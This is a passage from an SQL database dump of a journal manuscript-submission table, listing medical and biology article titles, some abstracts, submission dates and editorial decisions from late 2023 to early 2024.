publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14252,14310,996,0,'ipar-23-14252','A comprehensive guide to pain relief: Understanding,  managing, and living comfortably',NULL,12,0,'','','',59131,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14253,14311,996,0,'ipar-23-14253','Glucosamine: Exploring Its Role in Joint Health, Benefits, and Controversies',NULL,12,0,'','','',59131,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14254,14312,996,0,'ipar-23-14254','Understanding Calf Muscle Pain: Causes, Treatments, and Prevention Strategies',NULL,12,0,'','','',59129,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14255,14313,996,0,'ipar-23-14255','Bursitis: Understanding, Managing, and Overcoming Joint Inflammation',NULL,12,0,'','','',59130,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14256,14314,996,0,'ipar-23-14256','Understanding Knee Braces: Types, Uses, and Considerations for Optimal Support',NULL,12,0,'','','',59129,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14257,14315,996,0,'ipar-23-14257','Rheumatoid Arthritis: Understanding, Managing, and Improving Quality of Life',NULL,12,0,'','','',3649,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14258,14316,996,0,'ipar-23-14258','Bones: The Foundation of the Human Body',NULL,12,0,'','','',59129,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14259,11659,959,0,'ipacr-23-14259','Global philanthropy and health research: An implications in global cancer  control',NULL,14,0,'','Global Philanthropy: Implications on Global Cancer Control and Health Research in Global South.\r\nDr.Somasekhar.N.R. Ph.D. Epidemiology, Ph.D. Public Health (JNU, New Delhi) *\r\n*Scholar, Jawaharlal Nehru University, New Delhi, India. \r\nIntroduction: The Global philanthropy, is open to all, while we look for the exiting opportunities, to work in the developing countries, often by leveraging, Disease control measure, at the National capacities. The commission for macro-Economics and the health, has largely been globally endorsed, to work on the crucial issues of the health well in the Macro Economic Frameworks. Objectives: Global scenario analysis, for making wise investments, on Global Cancer Control, and Health Research, through the Philanthropies. Review, Narratives, Opinions:  The Global Forum for health research, has come out with its own, report on how to make the equitable health investments, across the Globe, largely eliminating the disparities in the resource allocation, by the, 10/90, gap, in its, report, appreciates, the facts, that, only ten, percent of the health research investments, are made, in the countries, while, they need to address the ninety percent of the disease burden.6  The Global cancer priorities, are highly focused, and are often, varies from “Cancer Etiological Research” , “Global Cancer Burden Assessment”,  “Cancer Registries” “ Cancer Early detection by inter-country level Screening programs”, “Cancer Disparities and Inclusion” to “ Technology Transfers” to “Prepare the Health systems to meet the Cancer Care needs”, to name a few. Method: Cancer Epistemological Study, by Desk review of primary and secondary data resources. Results: The trends in , health investments, by philanthropies, are,  highly promising, as the steep increase in the development assistance from mere (6), billion US dollars, in the fiscal year (1990) to the (36) billion US dollars in the fiscal year (2016), by multilaterals, and private philanthropy as well. Conclusion: Cancer is drawing, Global attention, by the international policy makers, making “Cancers “ as a Centre Theme of “ Non Communicable Disease alleviation” in line with the Cardiovascular Diseases, as evidenced, by the Global status report of NCD control, by the United Nations system.','Global Cancer Control, Disparities, Global Economics',5444,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-26',NULL,1,1,'0','proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14260,14317,639,0,'ipfs-23-14260','Aquaculture: Sustaining the Future of Seafood',NULL,12,0,'','','',1772,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-21',NULL,1,1,'1','Proceed',0,NULL,NULL,NULL,0,0,0,NULL,0),(14261,14318,639,0,'ipfs-23-14261','Advancements in Fisheries Science: Navigating the Depths of Sustainable Harvesting',NULL,12,0,'','','',1774,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-21',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14262,14319,639,0,'ipfs-23-14262','Navigating Troubled Waters: The Future of Fish Stocks and Sustainable Fisheries Management',NULL,3,0,'','','',1774,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-21',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14263,14321,639,0,'ipfs-23-14263','Exploring the Lush World of Freshwater Ecosystems: A Gateway to Hidden Wonders',NULL,11,0,'','','',59132,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-21',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14264,14321,639,0,'ipfs-23-14264','Exploring the Wonders of Earth\'s Aquatic Ecosystems',NULL,12,0,'','','',59132,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-21',NULL,1,1,'0','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14265,14322,639,0,'ipfs-23-14265','Beneath the Waves: Exploring the Vital Role of Marine Protected Areas',NULL,3,0,'','','',1781,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-21',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14266,14323,639,0,'ipfs-23-14266','Unveiling the Secrets of the Deep: The Enigmatic World of Oceanography',NULL,12,0,'','','',59133,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-21',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14267,14320,639,0,'ipfs-23-14267','Unveiling the Mysteries of Marine Biology: Exploring Earth\'s Last Frontier',NULL,3,0,'','','',1778,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-21',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14268,14324,639,0,'ipfs-23-14268','Navigating the Waters of Fisheries Law: A Sustainable Approach to Ocean Conservation',NULL,11,0,'','','',1776,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-21',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14269,14325,639,0,'ipfs-23-14269','Innovations in Fishing Vessels: Charting a Sustainable Course',NULL,3,0,'','','',59134,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-21',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14270,14326,251,0,'ipacm-24-14270','Unmasking the Ebola Virus Disease: Unraveling the Mystery',NULL,12,0,'','','',789,NULL,'2023-11-07',NULL,'Submitted',2,NULL,'2024-01-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14271,14327,251,0,'ipacm-24-14271','Unveiling the Silent Threat: The Complex World of Hepatitis Viruses',NULL,3,0,'','','',784,NULL,'2023-11-07',NULL,'Submitted',2,NULL,'2024-01-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14272,14328,251,0,'ipacm-24-14272','Unmasking the Tiny Terrors: Exploring the World of Pathogenic Bacteria',NULL,3,0,'','','',777,NULL,'2023-11-07',NULL,'Submitted',2,NULL,'2024-01-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14273,14329,251,0,'ipacm-23-14273','Staphylococcus aureus: Unraveling the Microbial Enigma',NULL,3,0,'','','',786,NULL,'2023-11-07',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed',0,NULL,NULL,NULL,0,0,0,NULL,0),(14274,14330,251,0,'ipacm-23-14274','Unraveling the Complexity of Human Immunodeficiency Virus (HIV)',NULL,3,0,'','','',787,NULL,'2023-11-07',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed',0,NULL,NULL,NULL,0,0,0,NULL,0),(14275,14331,251,0,'ipacm-23-14275','Unveiling the Genomic Mysteries of Microbes: A Journey into Microbial Genomics',NULL,3,0,'','','',785,NULL,'2023-11-07',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed',0,NULL,NULL,NULL,0,0,0,NULL,0),(14276,14332,251,0,'ipacm-23-14276','Unveiling the Microbial Battle: Understanding Bacterial Infections',NULL,12,0,'','','',780,NULL,'2023-11-07',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed',0,NULL,NULL,NULL,0,0,0,NULL,0),(14277,14333,251,0,'ipacm-23-14277','Unmasking the Silent Threat: Fungal Infections',NULL,12,0,'','','',782,NULL,'2023-11-07',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed',0,NULL,NULL,NULL,0,0,0,NULL,0),(14278,14334,251,0,'ipacm-23-14278','Unveiling the World of Viral Diseases: From Pandemics to Pioneering Solutions',NULL,12,0,'','','',778,NULL,'2023-11-07',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed',0,NULL,NULL,NULL,0,0,0,NULL,0),(14279,14335,251,0,'ipacm-23-14279','Unveiling the Secrets of Viral Infections: From the Microscopic to the Global Scale',NULL,12,0,'','','',781,NULL,'2023-11-07',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed',0,NULL,NULL,NULL,0,0,0,NULL,0),(14280,14336,251,0,'ipacm-23-14280','Unlocking the Secrets of Staphylococcus aureus: PCR Detection and Beyond',NULL,12,0,'','','',786,NULL,'2023-11-07',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed',0,NULL,NULL,NULL,0,0,0,NULL,0),(14281,14337,251,0,'ipacm-23-14281','Unraveling the Enigma of Ebola Virus: A Glimpse into its Origins, Impact, and Ongoing Research',NULL,12,0,'','','',789,NULL,'2023-11-07',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed',0,NULL,NULL,NULL,0,0,0,NULL,0),(14282,14338,251,0,'ipacm-23-14282','Unveiling the Enigma of Mycobacterial Diseases: A Closer Look at Tuberculosis and Beyond',NULL,3,0,'','','',779,NULL,'2023-11-07',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed',0,NULL,NULL,NULL,0,0,0,NULL,0),(14283,14339,326,0,'IPJUS-23-14283','Pacemaker surgery: A lifesaving intervention',NULL,12,0,'','','',59135,NULL,'2023-11-09',NULL,'Submitted',2,NULL,'2023-12-22',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14284,14340,86,0,'ipaom-23-14284','Giant congenital paraovarian cyst presenting with dyspeptic symptoms',NULL,2,0,'','Paraovarian cysts are benign lesions arising from paramesonephric or mesonephric canal remnants. They are thin-walled, non-vascularized, contain homogeneous serous fluid without septation, and most commonly occur in the fourth or fifth decades of life. Paraovarian cysts are usually asymptomatic and range in size from 2 to 20 cm. These cysts, which are typically modest in diameter, can become symptomatic when they reach a large diameter.\r\nWe present the management of a 30x24 cm paraovarian cyst in an 18-year-old nulligravid patient who presented to the outpatient clinic with complaints of dyspepsia, nausea, vomiting, loss of appetite, and abdominal pain discomfort in this case report.\r\n','Paraovarian cysts, Dyspepsia, Adolescent',5013,NULL,'2023-11-09',NULL,'Submitted',2,NULL,'2023-11-22',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(14285,14341,91,0,'ijddr-23-14285','Revolutionizing drug delivery innovation: Leveraging AI-driven chatbots for enhanced efficiency',NULL,14,0,'Revolutionizing Drug Delivery Innovation: Leveraging AI-Driven Chatbots for Enhanced Efficiency','The pharmaceutical industry is undergoing a transformative shift, driven by the integration of artificial intelligence (AI) into various aspects of drug discovery and development. Among the AI tools, ChatGPT, an advanced language model developed by OpenAI, has demonstrated remarkable potential in streamlining drug delivery research and innovation. This article explores the role of ChatGPT in revolutionizing drug delivery, offering insights into its applications, benefits, and real-world case studies.','Drug delivery innovation, AI-driven chatbots, Pharmaceutical industry, Artificial intelligence (AI), ChatGPT, Drug discovery, Medication counselling, Drug interactions, Formulation optimization, Predictive modelling',59095,NULL,'2023-11-09',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Proceed for publication',0,'','',NULL,0,0,0,NULL,0),(14286,14342,971,0,'ipaclr-23-14286','Cardiovascular Disease and Clinical Biochemistry: Early Detection and Prevention',NULL,19,0,'','Cardiovascular diseases (CVDs) remain a leading cause of mortality worldwide, emphasizing the critical need for early detection and prevention strategies. Clinical biochemistry, a branch of medical science, plays a pivotal role in identifying biomarkers associated with CVDs, enabling timely intervention and risk reduction. This article explores the significance of clinical biochemistry in early detection and prevention of cardiovascular diseases, highlighting key biomarkers and innovative diagnostic techniques that are shaping the future of cardiovascular healthcare.',' ',3249,NULL,'2023-11-14',NULL,'Submitted',2,NULL,'2023-12-01',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14287,14343,971,0,'ipaclr-23-14287','The Role of Liquid Biopsies in Cancer Diagnosis: A Clinical Biochemistry Perspective',NULL,17,0,'',' ',' ',3249,NULL,'2023-11-14',NULL,'Submitted',2,NULL,'2023-12-01',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14288,14344,971,0,'ipaclr-23-14288','The Human Genome Project: 20 Years of Discoveries and Medical Breakthroughs',NULL,17,0,'',' ',' ',3236,NULL,'2023-11-14',NULL,'Submitted',2,NULL,'2023-12-01',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14289,14345,971,0,'ipaclr-23-14289','Genomic Medicine: Unlocking the Future of Healthcare with Medical Genetics',NULL,3,0,'',' ',' ',3249,NULL,'2023-11-14',NULL,'Submitted',2,NULL,'2023-12-01',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14290,14346,971,0,'ipaclr-23-14290','Gut Microbiome and Immunity: Exploring the Gut-Immune System Connection',NULL,12,0,'',' ',' ',3249,NULL,'2023-11-14',NULL,'Submitted',2,NULL,'2023-12-01',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14291,14347,971,0,'ipaclr-23-14291','Autoimmune Diseases: Unravelling the Complexities of Immune System Dysfunction',NULL,11,0,'',' ',' ',3249,NULL,'2023-11-14',NULL,'Submitted',2,NULL,'2023-12-01',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14292,14348,971,0,'ipaclr-23-14292','Revolutionizing Drug Discovery: The Role of Artificial Intelligence in Pharmaceutical Research',NULL,17,0,'','   ','   ',3249,NULL,'2023-11-14',NULL,'Submitted',2,NULL,'2023-12-01',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14293,14349,971,0,'ipaclr-23-14293','The Race for COVID-19 Vaccines: Breakthroughs in Pharmaceutical Research',NULL,13,0,'',' ',' ',3249,NULL,'2023-11-14',NULL,'Submitted',2,NULL,'2023-12-01',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14294,14350,971,0,'ipaclr-23-14294','Exploring the Potential of CRISPR Technology in Drug Development.',NULL,3,0,'',' ',' ',3249,NULL,'2023-11-14',NULL,'Submitted',2,NULL,'2023-12-01',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14295,14351,971,0,'ipaclr-23-14295','Harnessing the Power of Immunotherapy for Cancer Treatment',NULL,12,0,'',' ',' ',3249,NULL,'2023-11-14',NULL,'Submitted',2,NULL,'2023-12-01',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14296,14352,45,0,'iphsj-23-14296','A retrospective study conducted at public health institutions in Tigray, Northern Ethiopia, examined the prevalence of skin diseases and their classification using syndrome screening',NULL,14,0,'','Background: Skin infections are the fourth-most common cause of human disease worldwide, affecting approximately 1.9 billion people every year. This study was conducted because skin diseases have a more serious impact in our setting. Understanding the impact of skin diseases is important in order to reduce the burden of skin disease and use it for health planning and management. This study was undertaken to classify of skin disease and its etiologic prevalence in our setting.\r\nSetting: patient attending in all health facility with available completed data on laboratory and symptomatic diagnosis from July 2019 to June 2020.\r\nParticipants: 51,1162 patients with Skin disease classified as infectious and non-infectious.\r\nMethod: Retrospective cross-sectional study with descriptive statistics analysis to compare measures of prevalence and its classification of skin disease between age group, sex were used to display the results using table. An association between the disease conditions and was determined by using the Chi-square test. Level was set at 5%. \r\nMain outcome measures: measures of prevalence and its classification of skin disease as infectious and non-infectious.\r\nResult: 43.9% had infectious skin diseases, with tinea infections being the most common. The study identified 39.6% of tinea infections in 20251 cases, followed by Pityriasis versicolor in 1969 (3.8%) and Ptyriasis alba 287 (0.6%). The majority of noninfectious diseases in patients are atopic contact dermatitis and impetigo (43.4%), followed by acne (2.2%), impetigo (8.2%), psoriasis (3.3%), and vitiligo (2.3%).\r\nConclusion: Fungal infections and atopic contact dermatitis are the most common skin diseases in the Tigray population. Understanding these dermatomes is crucial for health policy planning and management and implementing appropriate interventions.\r\n','Skin diseases, prevalence, classification, syndrome screening',4011,NULL,'2023-11-14',NULL,'Submitted',2,NULL,'2023-11-29',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(14297,14353,996,0,'ipar-23-14297','Navigating the Intersection of Pain and Skin: Understanding Psoriatic Arthritis',NULL,12,0,'','','',5096,NULL,'2023-11-15',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14298,14354,996,0,'ipar-23-14298','Beyond the Threshold: A Comprehensive Exploration of Pain Relief',NULL,12,0,'','','',59131,NULL,'2023-11-15',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14299,14355,996,0,'ipar-23-14299','Dolor Lumbar: Navigating the Depths of Low Back Pain',NULL,12,0,'','','',3649,NULL,'2023-11-15',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14300,14356,996,0,'ipar-23-14300','Traumeel: A Holistic Approach to Healing and Pain Relief',NULL,12,0,'','','',59130,NULL,'2023-11-15',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14301,14357,996,0,'ipar-23-14301','Polymyalgia Rheumatica: Unraveling the Threads of Pain and Resilience',NULL,12,0,'','','',59129,NULL,'2023-11-15',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14302,14358,996,0,'ipar-23-14302','The Rheumatologist\'s Touch: Navigating the Complex Landscape of Autoimmune Health',NULL,12,0,'','','',59129,NULL,'2023-11-15',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14303,14359,996,0,'ipar-23-14303','Pathogenesis Unveiled: Deciphering the Origins of Disease',NULL,12,0,'','','',59130,NULL,'2023-11-15',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14304,14360,996,0,'ipar-23-14304','Stiffness Unveiled: Exploring the Complex Tapestry of Restricted Mobility',NULL,12,0,'','','',59130,NULL,'2023-11-15',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14305,14361,996,0,'ipar-23-14305','Joint Swelling Unveiled: Understanding the Fluid Dynamics of Inflammation',NULL,12,0,'','','',59131,NULL,'2023-11-15',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14306,14362,996,0,'ipar-23-14306','Understanding and Alleviating Calf Muscle Pain: A Comprehensive Guide',NULL,12,0,'','','',3649,NULL,'2023-11-15',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14307,14151,45,0,'iphsj-23-14307','Prevalence of HIV and trends of ART Utilization among key and priority population in Tigray regional state, Northern Ethiopia 2019',NULL,14,0,'','Background: Even though Ethiopia accepted the strategies to eliminate HIV/AIDS epidemic by 2030 still the burden is continued to be one of the priority agenda at national and regional level, which needs subsequent responses particularly among the hotspot areas and key priority population. The prevalence of HIV in late 2018 was about 74.9 million people of them 32 million had died due to acquired immune deficiency syndrome related illness in the world and 38 million  in 2019 of them 1.7million were newly infected the United Nation program (UNAIDS) and thousands had died of the disease. Sub-Saharan African (SSA) countries including Ethiopia share the highest global burden of HIV/AIDS. With the introduction of antiretroviral therapies (ARTs), HIV is increasingly becoming a chronic manageable disease. The global efforts on people living with  HIV (PLHV) and receiving ART has increased by third since 2013 and reached 17million people received ART in 2015. Timely ART start among PLHIV donated that a pivotal role to handle the epidemic and can shifts from survival to improve quality of life through adherence, retention in care and speed up of viral suppression. The UNAIDS’ made an ambitious plan that less than 200,000 HIV prevalence worldwide and to end new HIV infection by 2030. \r\nTreatment success requires both a sustainable supply of ART to clinics and lifelong adherence to treatment by patients. In the last 30 years, there was high achievement in effective preventive methods like behavioral, PMTCT care and treatment (ART).Antiretroviral therapy (ART) has played an important role in improving prognosis and quality of life of HIV/AIDS patients, reducing rate of disease progres¬sion and death, can also reduce the risk of HIV transmission to sexual partners by 96%, adherence is also considered a major predictor of survival among PLHIV/AIDS, more than 95% adherence to ART reduce destruction of CD4 cells, increase survival, and improve quality of life. The present study aimed to estimate trends of ART utilization among HIV-infected patients in Tigray region.','Know Your HIV Epidemic, Know Your HIV Response, KPP/MARPs, HIV synthesis, Quantitative study, Positivity rate, Trends in HIV/AIDS, Response to HIV/AIDS, antiretroviral treatment (ART)',4962,NULL,'2023-11-17',NULL,'Submitted',2,NULL,'2023-12-01',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14308,14364,73,0,NULL,'Vowels in speech imagery EEG',NULL,3,1,'Neurodegenarative diseases','         ','    ',59084,NULL,'2023-11-17',NULL,'Submitted',18,NULL,NULL,NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(14309,14365,86,0,'ipaom-23-14309','Assessing the efficacy of ayurvedic therapeutic intervention in the management of pakshaghata (paraplegia) - A case study',NULL,14,0,'','Abstract: \r\nIntroduction: Pakshaghata is described as one of the Vata Vyadhis by Acharya Charaka & Mahavatavyadhi by Acharya Sushruta, that can manifest due to Dhatukshaya and Margavarana. The clinical presentation of Paraplegia is similar to that of Pakshaghata described in Ayurveda. Panchakarma procedures provide simple, non-invasive and long-term relief in pakshaghata.\r\nCase Presentation: A 58-years-old female patient from Reasi, J&K, came to Panchakarma OPD of Government Ayurvedic Medical College & Hospital, Akhnoor, J&K on 13-04-2023, with complaints of tingling sensations in her both legs, weakness of the lower limbs and difficulty in walking since 30 years. Consequently the patient was admitted to Panchakarma IPD of GAMC & H Akhnoor and the procedures along with internal medications were started according to the schedule prepared. The patient had undergone Kala Basti in which Niruha Basti with Mustadi yapan basti and Anuvasana Basti with Dhanwantaram tailam was given. Along with Kala basti the patient had undergone Snehana, Swedana and Nasya. Significant relief was observed in patient’s muscle spasticity and pain. The patient was discharged on 25-04-2023 with follow-up after 20 days. The medications were prescribed on follow up after due assessment of patient’s condition and overall improvement was noted in patient’s condition. \r\nConclusion: This report indicated the clinical presentation and management of the patient with the efficacy of internal ayurvedic medications and different panchakarma procedures like Sarwanga Abhyanga, Swedana, Matra Basti, Nasya & Kala Basti in Pakshaghata (Paraplegia). \r\n','',5013,NULL,'2023-11-17',NULL,'Submitted',2,NULL,'2024-01-18',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(14310,14366,45,0,'iphsj-23-14310','From Warts to Cancer: Understanding the Diverse Realm of Human Papillomavirus (HPV)',NULL,3,0,'','Human Papillomavirus (HPV) remains a significant global health concern due to its association with various diseases, including cervical cancer, anogenital cancers, and oropharyngeal cancers. This research article provides an in-depth analysis of HPV, covering its epidemiology, transmission, associated health conditions, diagnostic methods, available vaccines, and treatment options. Additionally, the article explores ongoing research efforts, challenges in prevention, and the potential impact of vaccination programs in reducing HPV-related diseases','',4076,NULL,'2023-11-22',NULL,'Submitted',2,NULL,'2023-12-01',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14311,14367,91,0,'ijddr-23-14311','Unlocking human potential: The rise of smart drugs and brain stimulation',NULL,3,0,'','','',2460,NULL,'2023-11-23',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14312,14368,91,0,'ijddr-23-14312','Navigating the clinical trial phases: A comprehensive guide',NULL,12,0,'','','',3391,NULL,'2023-11-23',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14313,14369,91,0,'ijddr-23-14313','Harnessing nature\'s bounty: Exploring the effects of medicinal plants on the cardiovascular system',NULL,12,0,'','','',59136,NULL,'2023-11-23',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14314,14370,91,0,'ijddr-23-14314','Unveiling the marvels of probiotics: A journey through discovery',NULL,12,0,'','','',3391,NULL,'2023-11-23',NULL,'Submitted',14,NULL,'2024-01-04',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14315,14371,91,0,'ijddr-23-14315','The emerging role of nutraceuticals: Powerful tools for disease management in the human body',NULL,11,0,'','','',59136,NULL,'2023-11-23',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14316,14372,91,0,'ijddr-23-14316','Revolutionizing medicine: The impact of nano-drug delivery systems',NULL,12,0,'','','',2474,NULL,'2023-11-23',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14317,14373,91,0,'ijddr-23-14317','Exploring the future scope of translational medicine: Bridging the gap between bench and bedside',NULL,11,0,'','','',1325,NULL,'2023-11-23',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14318,14374,91,0,'ijddr-23-14318','Embracing nature\'s wisdom: Herbal treatments for psoriasis',NULL,11,0,'','','',59136,NULL,'2023-11-23',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14319,14375,971,0,'ipaclr-23-14319','CLUSTER ANALYSIS AND IMPLICATIONS FOR CLINICAL MANAGEMENT',NULL,16,1,'Emerging Technologies in Clinical Research: Challenges and Opportunities','The persistent and varied nature of symptoms observed in individuals with Long COVID has spurred an urgent need for a comprehensive understanding of this complex syndrome. This study delves into the heterogeneous landscape of Long COVID by employing sophisticated cluster analysis techniques on a cohort of Belgian patients. The analysis reveals the existence of two distinct subtypes, each characterized by unique clinical manifestations, demographic profiles, and potential underlying factors. The first subtype showcases a prolonged predominance of respiratory symptoms, with a notable prevalence of lingering respiratory distress. In contrast, the second subtype presents a more diverse array of persistent symptoms, spanning neurological and cardiovascular domains. This manuscript explores the implications of these findings for clinical management, highlighting the necessity for tailored therapeutic interventions and targeted strategies to address the varied clinical presentations within the Long COVID spectrum. Additionally, we discuss the potential molecular and immunological underpinnings of these subtypes, shedding light on the pathophysiological mechanisms contributing to the prolonged and diverse symptomatology observed in Long COVID patients. This study contributes significantly to the evolving understanding of Long COVID and emphasizes the importance of a nuanced approach to patient care.','covid',4710,NULL,'2023-11-24',NULL,'Submitted',14,NULL,'2023-12-01',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14320,14376,73,0,'ipjnn-23-14320','Advancing Neuromorphic Embodied Intelligence',NULL,3,1,'Neurodegenarative diseases','','',326,NULL,'2023-11-25',NULL,'Submitted',15,NULL,'2023-11-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14321,14377,975,0,'ipjbs-23-14321','Parasitology: Unraveling the intricacies of host-parasite interactions',NULL,12,0,'','','',59137,NULL,'2023-11-27',NULL,'Submitted',2,NULL,'2024-01-05',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14322,14378,975,0,'ipjbs-23-14322','Toxicology unveiled: Navigating the complex web of chemical threats',NULL,12,0,'','','',59139,NULL,'2023-11-27',NULL,'Submitted',2,NULL,'2024-01-05',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14323,14379,975,0,'ipjbs-23-14323','Virology: Unveiling the microscopic world of viruses and their far-reaching effects',NULL,3,0,'','','',59138,NULL,'2023-11-27',NULL,'Submitted',2,NULL,'2024-01-05',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14324,14380,975,0,'ipjbs-23-14324','Unraveling the complex tapestry of the human brain: A journey into the fascinating realm of 